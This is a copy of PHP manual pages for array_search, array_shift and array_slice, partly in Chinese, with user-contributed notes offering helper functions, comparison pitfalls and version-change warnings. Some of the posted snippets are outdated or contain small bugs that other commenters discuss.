softexpert [at] libertysurf [dot] fr
04-May-2004 02:51
I use this for searching for a value in a bidimensional array .

<?php
function SearchBiDimArray(&$theArray, $dimNo, $searchValue, $returnIndex = true){
   if(is_array($theArray)){
       $keys = array_keys($theArray[0]);
       $key = $keys[$dimNo];
       $elcount = count($theArray);

       for($i=0; $i < $elcount; $i++){
           if($theArray[$i][$key] === $searchValue){
               if ($returnIndex){
                   return $i;
               }
               else{
                   return $theArray[$i];
               }
           }
       }

   }
   else{
       return array_search($searchValue, $theArray);
   }
}

$theArray = array();
$theArray[0]['firstproperty'] = 'avalue1';
$theArray[0]['secondproperty'] = 'anothervalue1';

$theArray[1]['firstproperty'] = 'avalue2';
$theArray[1]['secondproperty'] = 'anothervalue2';

$theArray[2]['firstproperty'] = 'avalue3';
$theArray[2]['secondproperty'] = 'anothervalue3';

print SearchBiDimArray($theArray, 1, 'anothervalue2', true);
// result is 1

print SearchBiDimArray($theArray, 1, 'anothervalue2', true);
// result is
//Array
//(
//    [firstproperty] => avalue2
//    [secondproperty] => anothervalue2
//)

?>
ivan dot schmid at astalavista dot ch
29-Apr-2004 12:46
This is a simple Array-search & delete example.

============================================
<?PHP
//Array I am going to look in:
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');
if(in_array('blue', $array))
{
   unset($array[array_search('blue', $array)]); // $key = 0;
}
print_r($array);

/* Output:
Array
(
   [1] => red
   [2] => green
   [3] => red
)
*/
?>
============================================
Hope this helps someone.
Greetings Ivan
manicdepressive at mindless dot com
28-Apr-2004 10:49
<?php
/**
   recursively descend an arbitrarily deep multidimensional
   array, stopping at the first occurence of scalar $needle.
   return the path to $needle as an array (list) of keys
   if not found, return null.
   (will infinitely recurse on self-referential structures)
*/
function array_search_recursive( $needle, $haystack )
{
   $path = NULL;
   $keys = array_keys($haystack);
   while (!$path && (list($toss,$k)=each($keys))) {
     $v = $haystack[$k];
     if (is_scalar($v)) {
         if ($v===$needle) {
           $path = array($k);
         }
     } elseif (is_array($v)) {
         if ($path=array_search_recursive( $needle, $v )) {
           array_unshift($path,$k);
         }
     }
   }
   return $path;
}

?>

code till dawn!  -mark meves
pascal at hillrippers dot ch
09-Apr-2004 02:02
@@ apolion at loliart dot com:

a thought to your example:

the $key you get from your array_search is "0" (0 => 'blue'). And as for me, 0 ist the same as FALSE, so your

<?php
if($key == false)
?>

hast to evaluate to true.
after that, with the '===' -operand, you additionally compare the type of the variable  and your statement evaluates to false, because 0 !== false.

so everything seems to be okay for me. =)
apolion at loliart dot com
18-Mar-2004 06:46
This is a silly thing, but it can drive you crazy if you do not read the warning above.

<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('blue', $array); // $key = 2;
echo $key;

if($key==FALSE){
  echo "FALSE";
}else{
  echo "TRUE";
}

?>

It will print FALSE.

Use this coding instead:

<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('blue', $array); // $key = 2;
//$key = array_search('red', $array);  // $key = 1;
echo $key;

if($key===FALSE){
  echo "FALSE";
}else{
  echo "TRUE";
}

?>

It will return TRUE
bitmore.co.kr
18-Feb-2004 10:54
Look Print

<?php
//original
//dennis dot decoene at removthis dot moveit dot be
//18-Jan-2004 12:41

   function binsearch( $needle, $haystack ) {
       $high = count($haystack);
       $low = 0;

       while ($high - $low > 1){
           $probe = ($high + $low) / 2;
           if ($haystack[$probe] < $needle) $low = $probe;
           else $high = $probe;
       print "high = $high,low = $low,probe = $probe,\$haystack[\$probe] = $haystack[$probe] <br>";
       }

       if ($high == count($haystack) || $haystack[$high] != $needle) return false;
       else return $high;
   }
//orginal

//Look bug
   $arr=array(1,3,5,7,9,10,11,13);
   $searchfor = 0;
   print_r( binsearch($searchfor, $arr) );

   //Print Show
   //1 0    0  .
   // integer 1 or 0 bug Show look show
   //high = 4,low = 0,probe = 4,$haystack[$probe] = 9
   //high = 2,low = 0,probe = 2,$haystack[$probe] = 5
   //high = 1,low = 0,probe = 1,$haystack[$probe] = 3

   $searchfor = 1;
   print_r( binsearch($searchfor, $arr) );

   //Print Show
   // integer 1 or 0 bug Show look show
   //high = 4,low = 0,probe = 4,$haystack[$probe] = 9
   //high = 2,low = 0,probe = 2,$haystack[$probe] = 5
   //high = 1,low = 0,probe = 1,$haystack[$probe] = 3

   $searchfor = 1;
   print_r( binsearch($searchfor, $arr) );
//Print Show
//integer 3
//high = 4,low = 0,probe = 4,$haystack[$probe] = 9
//high = 2,low = 0,probe = 2,$haystack[$probe] = 5
//high = 1,low = 0,probe = 1,$haystack[$probe] = 3
//return 1
?>
dcsoboda at oakland dot edu
28-Jan-2004 05:13
I've noticed problems with array_search() when it's handling extremely large arrays.

In one example, I had a 2000 slot array with a 128 char string in each slot, and was searching for a 128 char string within the array.

It regularly returned the wrong key. I even had it print the search string, along with the found key in the array, as a  test, and it would print obvious different strings.

The problem was alleviated when I ran gzcompress() on each array slot (and on my search string, obviously). In this case, no strings were longer than 67 bytes. It performed far faster and had no accuracy problems.
20-Jan-2004 08:41
In response to dennis dot decoene:

Just remember that binary search requires the array to be sorted.  If it's not sorted (and you don't want to call sort() on it) then a binary search is not what you are lookng for.
dennis dot decoene at removthis dot moveit dot be
18-Jan-2004 02:41
It has been said before: array_search is VERY slow. Everyone knows binary search is fast by design. Here is an implementation.

<?php
$arr=array(1,3,5,7,9,10,11,13);
$searchfor = 6;
echo binsearch($searchfor, $arr);

/**
 * @return integer
 * @param var $needle
 * @param array $haystack
 * @desc Feed a sorted array to $haystack and a value to search for to $needle.
             It will return false if not found or the index where it was found.
             This function is superfast. Try an array with 50.000 elements and search for something,
             you will be amazed.
*/
function binsearch($needle, $haystack)
{
   $high = count($haystack);
   $low = 0;

   while ($high - $low > 1){
       $probe = ($high + $low) / 2;
       if ($haystack[$probe] < $needle){
           $low = $probe;
       }else{
           $high = $probe;
       }
   }

   if ($high == count($haystack) || $haystack[$high] != $needle) {
       return false;
   }else {
       return $high;
   }
}
?>
mjwilco at yahoo dot com
27-Nov-2003 12:42
array_search() must match the whole value, not just a portion. To search for a portion, use:

<?php
$myarray = array("some apples", "some bannanas", "some oranges");

function array_search_bit($search, $array_in)
{
   foreach ($array_in as $key => $value)
   {
   if (strpos($value, $search) !== FALSE)
   return $key;
   }

   return FALSE;
}

$searchkey = array_search("oranges", $myarray); //old function, returns FALSE
$searchkey = array_search_bit("oranges", $myarray); //new function, returns 2
?>
jwhite at ytztech dot com
19-Nov-2003 10:59
Searching arrays is a very slow process.  I've tried to use as many strings as I can for where an array is called, if possible. Here's a quick test to show the (eye-popping) difference between searching for a match between strings and arrays:

<?php

  $test_string = '';
  for ($i=1; $i <= 500000; $i++) {
   $test_string .= '['.$i.']';
  }

  $test_array = array();
  for ($i=1; $i <= 5000; $i++) {
   $test_array[] = $i;
  }

  $time_str = getmicrotime();
  for ($i=1; $i <= 500000; $i++) {
   strstr($i,$test_string);
  }
  $time_str = getmicrotime() - $time_str;

  $time_array = getmicrotime();
  for ($i=1; $i <= 5000; $i++) {
   array_search($i,$test_array);
  }
  $time_array = getmicrotime() - $time_array;

  echo "<H1>Test Results</H1>\r\n";
  echo "<P>String Test:&nbsp; $time_str seconds.</P>\r\n";
  echo "<P>Array Test:&nbsp; $time_array seconds.</P>\r\n";

   function getmicrotime(){
     list($usec, $sec) = explode(" ",microtime());
     return ((float)$usec + (float)$sec);
   }

?>

This code block takes some time to get going (because of the number of strings to place into memory), the results, even on modest hardware are staggering.  Comparing 500000 strstr() operations to 5000 array_search() operations on a P3-800 with 512 MB of RAM got the following output:

[H1]Test Results[/H1]
[P]String Test: 3.09137701988 seconds.[/P]
[P]Array Test:  4.23609495163 seconds.[/P]

The getmicrotime() function came from the note on microtime(), so that's not mine...credit to "daniel141 at yahoo dot com".

STRINGS RULE!
--
Justin White
YTZ Technical Services, LLC
php at celerondude dot com
12-Nov-2003 07:07
I think array_search uses serial search because they binary search function i wrote here seems to do a better job for records that are not always at the beginning of the array.

Here it is

<?php
function binarySearch ( $a, $t, $l, $r )
{
   if($t<$a[$l]||$t>$a[$r])return NULL;
   while ( $l < $r )
   {
       $m=intval($l+$r)/2;
       if($a[$m]==$t)return $m;
       elseif($t<$a[$m])$r=$m-1;
       elseif($t>$a[$m])$l = $m + 1;
   }
   if($t==$a[$r])
   return $r;
   return NULL;
}
?>

usage:
binarySearch ( array, target, left range, right range );

if your array is a multidimensional array, simply change the comparison method. :)
jcatchpoole at netbeans dot org
01-Aug-2003 01:55
The warning above about the return value being NULL for versions prior to PHP 4.2.0 actually goes for 4.2.1 also - ie 4.2.1 appears to be returning NULL rather than FALSE on failure for me.
cue at openxbox dot com
10-Jun-2003 10:50
If you are using the result of array_search in a condition statement, make sure you use the === operator instead of == to test whether or not it found a match.  Otherwise, searching through an array with numeric indicies will result in index 0 always getting evaluated as false/null.  This nuance cost me a lot of time and sanity, so I hope this helps someone.  In case you don't know what I'm talking about, here's an example:

<?php
$code = array("a", "b", "a", "c", "a", "b", "b"); // infamous abacabb mortal kombat code :-P

// this is WRONG
while (($key = array_search("a", $code)) != NULL)
{
 // infinite loop, regardless of the unset
 unset($code[$key]);
}

// this is _RIGHT_
while (($key = array_search("a", $code)) !== NULL)
{
 // loop will terminate
 unset($code[$key]);
}
?>
nospam at nowhere dot net
21-Apr-2003 10:40
array_search won't accept objects as needle (see http://bugs.php.net/bug.php?id=20681) - a possible workaround is sth. like that:

<?php
function _array_search ($needle, $haystick) {

   foreach($haystick as $key => $val) {

       if ($needle === $val) {
           return($key);
       }

   }

   return(false);
?>

}

If you require 'bool strict' add e.g. ($strict) ? $needle === $val : $needle == $val
richard at richard-sumilang dot com
16-Apr-2003 06:59
<?php
/**
     *    Search an array recursivly
     *
     *    This function will search an array recursivly
     *    till it finds what it is looking for. An array
     *    within an array within an array within array
     *    is all good :-)
     *
     *    @author        Richard Sumilang    <richard@richard-sumilang.com>
     *    @param        string    $needle        What are you searching for?
     *    @param        array    $haystack    What you want to search in
     *    @return        boolean
     *    @access        public
     */
   function array_search_r($needle, $haystack){
       foreach($haystack as $value){
           if(is_array($value))
               $match=array_search_r($needle, $value);
           if($value==$needle)
               $match=1;
           if($match)
               return 1;
       }
       return 0;
   }
?>
Darkvie
16-Mar-2003 08:53
I wanted to search a  multidimensional array for a value & assign another element of array CONTAINING the searched value.

In the array I am using ($Projects), each item in $Projects contains a "Text_ID" & "Text_Value" field from a database result. I want to search for a "Text_ID" value (456 in this example)  & get it's "Text_Value" value assigned to a variable called $Text_Value.

Here's how I did it:
============================================

<?PHP
//Array I am going to look in:
$Projects[0] = array(123, "Text 1");
$Projects[1] = array(456, "Text 2");
$Projects[2] = array(789, "Text 3");

// This loop goes through every element in $Projects
foreach ($Projects as $key => $ArrayRow)
{
// Now: $ArrayRow[0] = $Projects[x][0] and $ArrayRow[1] = $Projects[x][1]

// Look for the value "456".  Assign to variable & stop looking if found.
if ($ArrayRow[0] == "456")  {$Text_Value= $ArrayRow[1]; break; }
}
?>

============================================
Hope this helps someone.
-Darkive
retestro_REMOVE at SPAM_esperanto dot org dot il
01-Mar-2003 12:46
If you're interested in finding a line in a file, after you read it into an array using file(), you can not use array_search since the match should be exact, and lines have line-endings ('\n', '\r' or '\n\r') - or else you know for sure what your lines contain physically.

The solution is to traverse the whole array, trim() each entry and then use array_search() - or - use something like the following small function I wrote for myself:

<?php
function search_array($needle, $haystack)
{
       if (!is_array($haystack) || !is_string($needle))
               return false;  // not valid argument types

       @reset($haystack);

       while (list ($key, $value) = each($haystack)) {
               $value = trim($value);  // remove spaces from the beginning and the end
               if ($value === $needle)
                       return $key;  // $needle was found, return the key
       }

       return false;  // no $needle was found in $haystack
}
?>

-----------------------------
Notes:
1. you should check the return value with === since 0 as a key equals to 'false'.
   i.e. if (search_array('my_line', $my_array) === false)  { ... }
2. I have no need in whitespace at the beginning of the line, therefore I use trim(). If it's important to you, use rtrim() or chop() instead.

-
- Sergey.
Fspillner at web dot de
14-Feb-2003 12:13
If you wanna find a value in multidimensional array with array_search. You should do the following:

Use For-Each, that it solves your Problem!

Example:

$map = array( array( Name=>'Jordan' ),
                   array( Name=>'Oneal' )
                 );

<?php
$search_value = "Jordan";

foreach ($map as $key => $row)
{
     foreach($row as $cell)
     {
         if ($cell == $search_value)
               print $key;
     }
}
?>
ryan at wonko dot com
12-Oct-2002 05:27
If you'd rather search for values in an array that match a regular expression, this function will do the trick (note that it returns the first index matched, not the last key matched as array_search does):

<?php
/**
  * Searches for a regex match in every value of a one-dimensional array.
  *
  * @param string $pattern POSIX-extended regular expression to match.
  * @param array $haystack Array to search in.
  * @return mixed Index of the first match, or FALSE if no match is found.
  */
function array_ereg($pattern, $haystack)
{
   for($i = 0; $i < count($haystack); $i++)
   {
       if (ereg($pattern, $haystack[$i]))
           return $i
   }

   return false;
}
?>
csaba at alum.mit.edu
05-Aug-2002 03:52
The following function I created should have 15 lines of code from the first if to the last return (lines 1-2,6,8-12 start with if).
Csaba Gabor

<?php
function InsertPt ($ar, $val, $searchType=0, $startPos=0, $endPos=null) {
   // Finds the position where $val should be array_spliced into
   // subarray $ar[$startPos ... $endPos] to maintain the
   // sortedness of $ar (which entire array is assumed either
   // ascending or descending).
   // This position is unique unless $val equals an $ar element:
   //
   // In this case the insertion point is such that
   // insertion of $val would happen between the first
   // encountered $val in the subarray and the element
   // just prior to that, where the search is STARTING from
   // the smallest (!$searchType is true) or
   // largest (!!$searchType is true) side of the array
   //
   // $startPos, $endPos are restricted to
   // [-sizeof($ar),sizeof($ar)-1] and are interchangeable
   // UNLESS all elements are identical in which case it
   // establishes the ascending order.  If $ar is a singleton,
   // it is assumed ascending.
   // $endPos defaults to the end of the array
   // (0 if $startPos is negative, and
   // [the normal case] sizeof($ar)-1 otherwise).
   // Negative position values should be subtracted from
   // sizeof($ar) to get absolute position.
   // Logarithmic speed.  Works with strings.
   // Adaptable to case insensitive strings (7 comparisons)

   // Examples with $ar = array(2, 4, 5, 5, 5, 6, 7, 10, 12)
   //    InsertPt ($ar, 8)          => 7
   //    InsertPt ($ar, 5)          => 2  before first 5
   //    InsertPt ($ar, 5, 1)        => 5  after the last 5
   //    InsertPt ($ar, -3)          => 0  before the 2
   //    InsertPt ($ar, 12, 1)      => 9  after the 12
   // If $ar was reversed, the same five
   // functions calls would produce 2, 7, 4, 9, 0
   // If $ar = [6, 6, 6, 6, 6]
   //    InsertPt ($ar, 8)          => 5
   //    InsertPt ($ar, 6, 1, -1, 2) => 2
   //      that -1 translates to 4, which implies descending order

   if (!$ar || $startPos<-($aSize=sizeof($ar)) || $startPos>$aSize-1) return 0;
   if ($endPos===null) $endPos = 0 - ($startPos>=0);                        // default $endPos adjustment
   $startPos = mod(min($aSize-1, (max (-$aSize, $startPos))),$aSize);                // translate to real start pos
   $endPos =  mod(min($aSize-1, (max (-$aSize, $endPos))),  $aSize);                // translate to real end pos
   $diff = $endPos-$startPos;
   if (!($dir = ($ar[0]==$ar[$aSize-1] ? 0 : ($ar[$aSize-1]<$ar[0] ? 1 : -1))))        // constant series (-1 for ascending, 1 for descending)
   return (($val<$ar[0] || ($val==$ar[0] && !$searchType)) ? $startPos + ($diff<0) : $endPos + !($diff<0));
   if ($diff<0) { $startPos+=$endPos; $endPos=$startPos-$endPos; $startPos-=$endPos; }        // make sure $startPos <= $endPos
   if ($val<$ar[($dir<0 ? $startPos : $endPos)]) return ($dir<0 ? $startPos : $endPos+1);    // These 2 lines for when $val falls outside
   if ($val>$ar[($dir<0 ? $endPos : $startPos)]) return ($dir<0 ? $endPos+1 : $startPos);      //      series speced by $startPos, $endPos
   if ($val==$ar[($tmp=(($dir<0)==!$searchType)) ? $startPos : $endPos]) return ($tmp ? $startPos : $endPos+1);    // if $val at sensitive endpoint
   if (abs($diff)==1) return $endPos;                                // Double series (singleton was covered in 3 prior lines)
   $mid = floor(($endPos+$startPos)/2);                            // We will halve the series
   $tmp = ($dir<0)==(($val==$ar[$mid]) ? !$searchType : ($val<$ar[$mid]));            // Decide which half we want
   return InsertPt ($ar, $val, $searchType, $tmp ? $startPos : $mid, $tmp ? $mid : $endPos);
}

function mod($num, $base) {
   // returns $num modulo $base within range [0..$base-1]
   return ($num - $base*floor($num/$base));
}
?>
saltymeat at hotmail dot com
25-Jun-2002 05:03
Here's how you can use array_search() to replace all occurances of a value in an array:

<?php
function array_replace($a, $tofind, $toreplace)
{
   $i = array_search($tofind, $a);
   if ($i === false)
   {
       return $a;
   }
   else
   {
       $a[$i] = $toreplace;
       return array_replace($a, $tofind, $toreplace);
   }
}
?>

Usage:
$a = array(1,2,3);
$a = array_replace($a, 1, 4);
echo $a[0]; // Outputs 4
dakota at dir dot bg
29-May-2002 07:44
For versions later than 4.2.0, the check  isset($key) won't work properly because the function now returns false, which "isset". This change is missing in the Change Log!

So the right way to use the function is:

<?php
$key = array_search($needle, $array);
if ($key!==null&&$key!==false) {
  ...
}
?>

This example will work in both older and newer to 4.2.0 versions.

P.S.: My previous post where isset() is used won't work in newer versions.
phil at limbrey dot net
23-May-2002 01:52
The function posted by 'chen.avinadav@vbulletin.com' on '13-Apr-2002 04:15' is wrong!

You are matching the value not the key.  It should read:

<?php
function array_search($needle, $haystack) {
   $match = false;
   foreach ($haystack as $key => $value) {
       if ($value == $needle) {
           $match = $key;
       }
   }
   return $match;
}
?>
swbrown at ucsd dot edu
02-May-2002 04:18
Be absolutely sure to check that your code that uses array_search now checks for 'false' too if you upgrade to PHP 4.2.0!

I was using array_search in my page authentication routines and this change had the fun side-effect of causing my code to always think a user had full permissions!  It was letting anyone click through to our installation of phpMyAdmin.  Not good indeed!
moz at the-allens dot net
17-Apr-2002 10:29
To future proof against the 4.2.0 return change something like this should work:

<?php
       $key = array_search($needle, $haystack);
       if(is_null($key))
           $retval = false;
?>

and then test using:

<?php
       if($key !== false)
       {
               // $key exists in $haystack.
       }
?>
admin_espace at algomas dot fr
29-Mar-2002 04:52
array search returns _a_ key not the first key. From my tests (linux-apache-php 4.1.2) it returns the last (though this may not be reliable).
i.e. the following all output 7
 print_r(array_search(1,array(0,1,1,1,1,1,6,1,8,9),true));
 print_r(array_search(1,array(0,1,2,3,4,5,6,1,8,9),true));
 print_r(array_search(1,array(1,0,2,3,4,5,6,1,8,9),true));
radley25 at earthlink dot net
10-Feb-2002 02:40
Note to the previous post:

<?php
$map = array( 'version'    => 4
           , 'OS'        => 'Linux'
           , 'lang'      => 'english'
           , 'short_tags' => true
           );
  $key = array_search("4",$map);
           print $key;
//returns short_tags
//strange results..

$array = array (1,13, 20);
 $key = array_search("13",$array);
print $key;
//works as expected
//returns 1
?>

If you put the number in quotes it searches for the array number.  Try it without the quotes.
saconner at iastate dot edu
05-Feb-2002 05:16
In PHP versions before 4.2.0 needle was not allowed to be an array.  (funnily enough, at time of posting this note, we're still at ver 4.1.1 )
add a note add a note

后退 | 起点 | 前进
array_reverse | 上一级 | array_shift


array_shift

(PHP 4, PHP 5)

array_shift -- 将数组开头的单元移出数组

说明

mixed array_shift ( array &array )

array_shift() 将 array 的第一个单元移出并作为结果返回，将 array 的长度减一并将所有其它单元向前移动一位。所有的数字键名将改为从零开始计数，文字键名将不变。如果 array 为空（或者不是数组），则返回 NULL。

注: 使用本函数后会重置（reset()）数组指针。

例子 1. array_shift() 例子

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_shift($stack);
print_r($stack);
?>

这将使 $stack 剩下 3 个单元：

Array
(
    [0] => banana
    [1] => apple
    [2] => raspberry
)

并且 orange 被赋给了 $fruit。

参见 array_unshift()，array_push() 和 array_pop()。

add a note add a note User Contributed Notes
bmr at ediweb dot org
31-May-2006 10:27
If the array has non-numerical keys, array_shift extracts the first element, whichever is the key, and recompute the numerical keys, if there are any. Ie :

$array = array("c" => "ccc", 0 => "aaa", "d" => "ddd", 5 => "bbb");
$first = array_shift($array);
echo '$first = ' . $first . ', $array = ' . var_export($array, true);

will display :

$first = ccc, $array = array ( 0 => 'aaa', 'd' => 'ddd', 1 => 'bbb', )

It means that array_shift works with associative arrays too, and leaves the keys unchanged if they are non-numerical.
lussnig at smcc dot de
21-Oct-2005 04:06
Warning array_shift take an argument of type array but it seems to be defined as array_shift(&$argument) since php-5.0.5 it does not take any function as argument. Even not if the function return an array !!!
lussnig at smcc dot de
21-Oct-2005 03:28
Warning: since php-5.0.5 there is an change.

Invalid is now array_shift(preg_split())
while
$temp = preg_split();
array_shift($temp)
is valid since call with reference.
groups at 8legs dot co dot nz
12-Oct-2005 04:29
As of version 5.0.5 it has been decreed that array_shift (and other methods that manipulate an array, like: array_pop, array_push) can no longer accept a reference, only a value.

For example:
Until 5.0.5 this was perfectly acceptable:
$first_element = array_shift(functionThatReturnsAnArray());

now it would have to look a little like this:
$arbitrary_array = functionThatReturnsAnArray()
$first_element = array_shift($arbitrary_array);

or

$first_element = array_shift($arbitrary_array = functionThatReturnsAnArray());

The change apparently has something to do with possible memory corruption but that sounds like a cop out to me. Fix the memory corruption if it's a problem, don't break a widely used and hither-to perfectly legitimate piece of syntax, then foist it on an unsuspecting community in a minor version change. Very unimpressed with the cavalier attitude regarding this issue.
20-Sep-2005 10:57
<?php

//----------------------------------------------------------
// The combination of array_shift/array_unshift
// greatly simplified a function I created for
// generating relative paths. Before I found them
// the algorithm was really squirrely, with multiple
// if tests, length calculations, nested loops, etc.
// Great functions.
//----------------------------------------------------------

function create_relative_path($inSourcePath, $inRefPath)
{
   // break strings at slashes
   $s_parts            = explode('/', $inSourcePath);
   $r_parts            = explode('/', $inRefPath);

   // delete items up to the first non-equal part
   while ($s_parts[0] === $r_parts[0])
   {
       array_shift($s_parts);
       array_shift($r_parts);
   }

   // add wild card to r_parts for each remaining
   // item of s_parts
   while ($s_parts[0])
   {
       array_unshift($r_parts, '..');
       array_shift($s_parts);
   }

   return implode('/', $r_parts);
}

//----------------------------------------------------------
// Example:
//    Given a source path $sp generates the relative
//    location of $rp. $sp could be assigned using
//    $_SERVER['PHP_SELF'] but it's hardcoded for
//    the example.
//----------------------------------------------------------
$sp = '/WebServer/Documents/MyBigProject/php/project_script.php';
$rp = '/WebServer/Documents/MyLibraries/lib_script.php';

// plugging them into the function
$rel_path = create_relative_path($sp, $rp);

// yeilds
'../../../MyLibraries/lib_script.php'

// and it could be used like
include_once(create_relative_path($_SERVER['PHP_SELF'], $rp));
lukasz dot dywicki DEL at gmail dot com
27-Jul-2005 08:48
Im using this function to browse arrays from database. For example data:
<?php
$data = array(
     array('row 1-cell 1','row 1-cell 2'),
     array('row 2-cell 1','row 2-cell 2'),
     array('row 3-cell 1','row 3-cell 2'),
);

while($row=array_shift($data)) {
     echo $row[0];
}
?>
Output:
row 1-cell 1
row 2-cell 1
row 3-cell 1
arturo {dot} ronchi {at} gmail {dot} com
20-Apr-2005 09:24
Here is a little function if you would like to get the top element and rotate the array afterwards.

function array_rotate(&$arr)
{
  $elm = array_shift($arr);
  array_push($arr, $elm);
  return $elm;
}
09-Feb-2005 08:27
This function will save the key values of an array, and it will work in lower versions of PHP:

<?php

function array_shift2(&$array){
   reset($array);
   $key = key($array);
   $removed = $array[$key];
   unset($array[$key]);
   return $removed;
}

?>
James McGuigan
15-Dec-2004 03:26
while(array_shift()) can be used to process multiple arrays and/or database results in a single loop. The || short circuts and only evaluates the first statement until it runs out of data.

It can help to reduce duplicated code (the rule is code once and once only).

Note that each ($row = ) statement much be encased in ()'s otherwise you will get funny results. If you use two array_shift($array) statements and forget the ()'s, you will repeatedly get the first element of the first array for the for the count of the $array.

<?php

require_once('class.db.php');

$sql = "SELECT title FROM links";
$result = mysql_query($sql, $db->connection);

$defaults = array(
     array('title' => 'None'),
     array('title' => 'Unknown')
);

while ( ($row = mysql_fetch_assoc($result))
     || ($row = array_shift($defaults)))
{
  echo $row['title'] . "<br>";
}

?>

This will print out (depending on database contents):
Title1
Title2
Title3
...
None
Unknown
Rich at home dot nl
16-Jan-2004 04:55
How about using foreach? That was made for looping through arrays after all.

<?php
  $styles = array('style1', 'style2', 'style3', ... 'stylen');

  while (true)  {
   foreach ($styles as $style) {
     if (haveMoreToPrint()) print('<div class="' . $style . '">Some content</div>');
     else break 2;
   }
  }
?>
mina86 at tlen dot pl
18-Oct-2003 11:30
archangel, 04-Mar-2003 08:11:
This method is just waste of CPU, RAM and everything. Better would be:

<?php
$styles = array('style1', 'style2', 'style3', ... 'stylen');
$styles_count = count($styles);

for ($i = 0; haveMoreToPrint(); $i = ($i+1)%$styles_count) {
   print('<div class="'.$styles[$i].'">Some content</div>');
}
?>

It does the same thing but faster :)
alex at netflex dot nl
14-Mar-2003 02:55
Hi,

if you want to shift the first element of a large array (more than 10.000?) and it must realy fast then you can use this better:

<?php
reset($array);
list($oldKey, $oldElement) = each($array);
unset($array[$oldKey]);
?>

note: the index wil not be changed (not reindexed)
archangel at uro dot mine dot nu
04-Mar-2003 06:11
Here's a fun little trick for cycling a set of items in the case where you want to say loop thorugh a set of styles for a tiled effect:

<?php
$styles = array('style1', 'style2', 'style3', ... 'stylen');

while (haveMoreToPrint())
{
   array_push($styles, array_shift($styles));

   print('<div class="'.$styles[0].'">Some content</div>');
}
?>

And since the elements that are being shifted off go onto the end, there is no concern as to how many or how few styles your have or how many times you are going to cycle through them.  No counters, no nothin.
add a note add a note

后退 | 起点 | 前进
array_search | 上一级 | array_slice


array_slice

(PHP 4, PHP 5)

array_slice -- 从数组中取出一段

说明

array array_slice ( array array, int offset [, int length [, bool preserve_keys]] )

array_slice() 返回根据 offset 和 length 参数所指定的 array 数组中的一段序列。

如果 offset 非负，则序列将从 array 中的此偏移量开始。如果 offset 为负，则序列将从 array 中距离末端这么远的地方开始。

如果给出了 length 并且为正，则序列中将具有这么多的单元。如果给出了 length 并且为负，则序列将终止在距离数组末端这么远的地方。如果省略，则序列将从 offset 开始一直到 array 的末端。

注意 array_slice() 默认将重置数组的键。自 PHP 5.0.2 起，可以通过将 preserve_keys 设为 TRUE 来改变此行为。

例子 1. array_slice() 例子

<?php
$input = array("a", "b", "c", "d", "e");

$output = array_slice($input, 2);      // returns "c", "d", and "e"
$output = array_slice($input, -2, 1);  // returns "d"
$output = array_slice($input, 0, 3);   // returns "a", "b", and "c"

// note the differences in the array keys
print_r(array_slice($input, 2, -1));
print_r(array_slice($input, 2, -1, true));
?>

上例将输出：

Array
(
    [0] => c
    [1] => d
)
Array
(
    [2] => c
    [3] => d
)

参见 array_splice() 和 unset()。

add a note add a note User Contributed Notes
06-May-2006 03:21
If you specify the fourth argument (to not reassign the keys), then there appears to be no way to get the function to return all values to the end of the array. Assigning -0 or NULL or just putting two commas in a row won't return any results.
taylorbarstow at the google mail service
08-Apr-2006 05:01
Array slice function that works with associative arrays (keys):

function array_slice_assoc($array,$keys) {
   return array_intersect_key($array,array_flip($keys));
}
andreasblixt (at) msn (dot) com
07-Sep-2005 12:53
<?php
   // Combines two arrays by inserting one into the other at a given position then returns the result
   function array_insert($src, $dest, $pos) {
       if (!is_array($src) || !is_array($dest) || $pos <= 0) return FALSE;
       return array_merge(array_slice($dest, 0, $pos), $src, array_slice($dest, $pos));
   }
?>
ssb45 at cornell dot edu
28-Jul-2005 10:20
In reply to jenny at jennys dot info:

Here is a much easier way to find the $offset of a $key in an $array:

$offset = array_search($key, array_keys($array));
fanfatal at fanfatal dot pl
09-Jul-2005 06:09
Hmm ... i wrote an usefull function whitch is such like strpos but it works on arrays ;]

<?php
/*
 *    Find position of first occurrence of a array
 *
 *    @param array $haystack
 *    @param array $needle
 *    @return int
 *    @author FanFataL
 */
function array_pos($haystack, $needle) {
   $size = count($needle);
   $sizeh = count($haystack);
   if($size > $sizeh) return false;

   $scale = $sizeh - $size + 1;

   for($i = 0; $i < $scale; $i++)
       if($needle === array_slice($haystack, $i, $size))
           return $i;

   return false;
}

// Sample:
$a = array('aa','bb','cc','dd','ee');
$b = array('cc','dd');
$pos = array_pos($a, $b);
?>

Greatings ;-)
...
david dot tulloh at infaze dot com dot au
24-Jun-2005 09:26
Nice one liner to extract a column from a 2D array.
It works by using array_slice on every row, through array_map.

<?php
// set up a small test environment
$test_subject[] = array("a", "b", "c");
$test_subject[] = array("d", "e", "f");

$column=1;

// do the actual work
$result = array_map('array_slice', $test_subject,
   array_fill(0, count($test_subject), $column),
   array_fill(0, count($test_subject), 1)
);

// and the end result
result == array ( array("b"), array("e") );
?>
liz at matrixmailing dot com
07-Jun-2005 05:16
For those with PHP < 5.0.2, and have a number as your array key, to avoid having the key reset with array_slice, add a blank character to the beginning or end of the key.
<?

$array[" ".$key] = $value;

?>
bishop
09-Dec-2004 05:58
Sometimes you need to pick certain non-integer and/or non-sequential keys out of an array. Consider using the array_pick() implementation below to pull specific keys, in a specific order, out of a source array:

<?php

$a = array ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$b = array_pick($a, array ('d', 'b'));

// now:
// $a = array ('a' => 1, 'c' => '3');
// $b = array ('d' => 4, 'b' => '2');

function &array_pick(&$array, $keys)
{
   if (! is_array($array)) {
       trigger_error('First parameter must be an array', E_USER_ERROR);
       return false;
   }

   if (! (is_array($keys) || is_scalar($keys))) {
       trigger_error('Second parameter must be an array of keys or a scalar key', E_USER_ERROR);
       return false;
   }

   if (is_array($keys)) {
       // nothing to do
   } else if (is_scalar($keys)) {
       $keys = array ($keys);
   }

   $resultArray = array ();
   foreach ($keys as $key) {
       if (is_scalar($key)) {
           if (array_key_exists($key, $array)) {
               $resultArray[$key] = $array[$key];
               unset($array[$key]);
           }
       } else {
           trigger_error('Supplied key is not scalar', E_USER_ERROR);
           return false;
       }
   }

   return $resultArray;
}

?>
pies at sputnik dot pl
18-Sep-2004 12:29
My shot at Dams's array_slice_key() implementation:

